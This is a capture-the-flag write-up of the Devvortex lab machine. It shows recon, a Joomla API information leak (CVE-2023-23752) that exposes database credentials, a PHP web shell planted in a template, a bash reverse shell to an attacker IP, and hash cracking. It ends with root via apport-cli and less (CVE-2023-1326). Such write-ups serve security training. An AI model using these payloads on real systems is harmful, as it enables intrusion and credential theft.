Devvortex

Nmap :p

nmap -sC -sV -T4 -p- devvortex.htb
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)

SSH and a website. The site on 80 is a static company homepage for “DevVortex” and there’s nothing to do on it, so let’s look for subdomains:

gobuster vhost -u http://devvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -t 50
Found: dev.devvortex.htb Status: 200
echo "10.129.x.x dev.devvortex.htb" | sudo tee -a /etc/hosts

Joomla

dev.devvortex.htb is running Joomla. Joomla keeps a manifest file that tells us the exact version:

curl -s http://dev.devvortex.htb/administrator/manifests/files/joomla.xml | grep version
<version>4.2.6</version>

Joomla 4.2.6 is vulnerable to CVE-2023-23752. Some of Joomla’s API endpoints were supposed to need auth, but adding ?public=true to the request skips the check. One of those endpoints returns the site’s config, including the database login:

curl -s "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true"
"user":"lewis"
"password":"P4ntherg0t1n5r3c0n##"
"db":"joomla"
"dbprefix":"sd4fg_"

Those creds also work on the Joomla admin panel at /administrator, so now we’re a Joomla admin.

Foothold

As admin we can edit the site’s template files, and template files are just PHP. Going to System, Site Templates, Cassiopeia, we edit error.php and add:

<?php system($_GET['cmd']); ?>

Save it and test:

curl -s "http://dev.devvortex.htb/templates/cassiopeia/error.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

That works, so with a listener running we send a reverse shell. We wrap it in bash -c because the default shell system() uses doesn’t support /dev/tcp:

nc -lvnp 4444
curl -s "http://dev.devvortex.htb/templates/cassiopeia/error.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.17.229%2F4444%200%3E%261%27"

We land as www-data.

User

We already have lewis’s database creds, so let’s look at the Joomla users table:

mysql -u lewis -p'P4ntherg0t1n5r3c0n##' -D joomla -e "SELECT username, password FROM sd4fg_users;"

We get a bcrypt hash for logan, who is also a user on the box:

echo '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12' > hash.txt
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

It cracks to tequieromucho, and we can SSH in as logan and grab the user flag.

Privesc

logan@devvortex:~$ sudo -l
User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli
logan@devvortex:~$ apport-cli --version
2.20.11

apport-cli is Ubuntu’s crash reporting tool, and 2.20.11 is vulnerable to CVE-2023-1326. When you view a crash report, it opens it in less. Since we’re running apport-cli with sudo, less is running as root too, and less lets you run shell commands by typing !.

First we need a crash report to view, so we crash a process on purpose:

sleep 60 &
kill -SIGSEGV $!
ls /var/crash/
_usr_bin_sleep.1000.crash

Then open it with apport-cli as root:

sudo /usr/bin/apport-cli -c /var/crash/_usr_bin_sleep.1000.crash

At the menu we pick V to view the report, which opens it in less. Inside less we type:

!/bin/bash

Hit enter and we drop into a root shell:

root@devvortex:~# whoami
root
root@devvortex:~# cat /root/root.txt

Ez gg.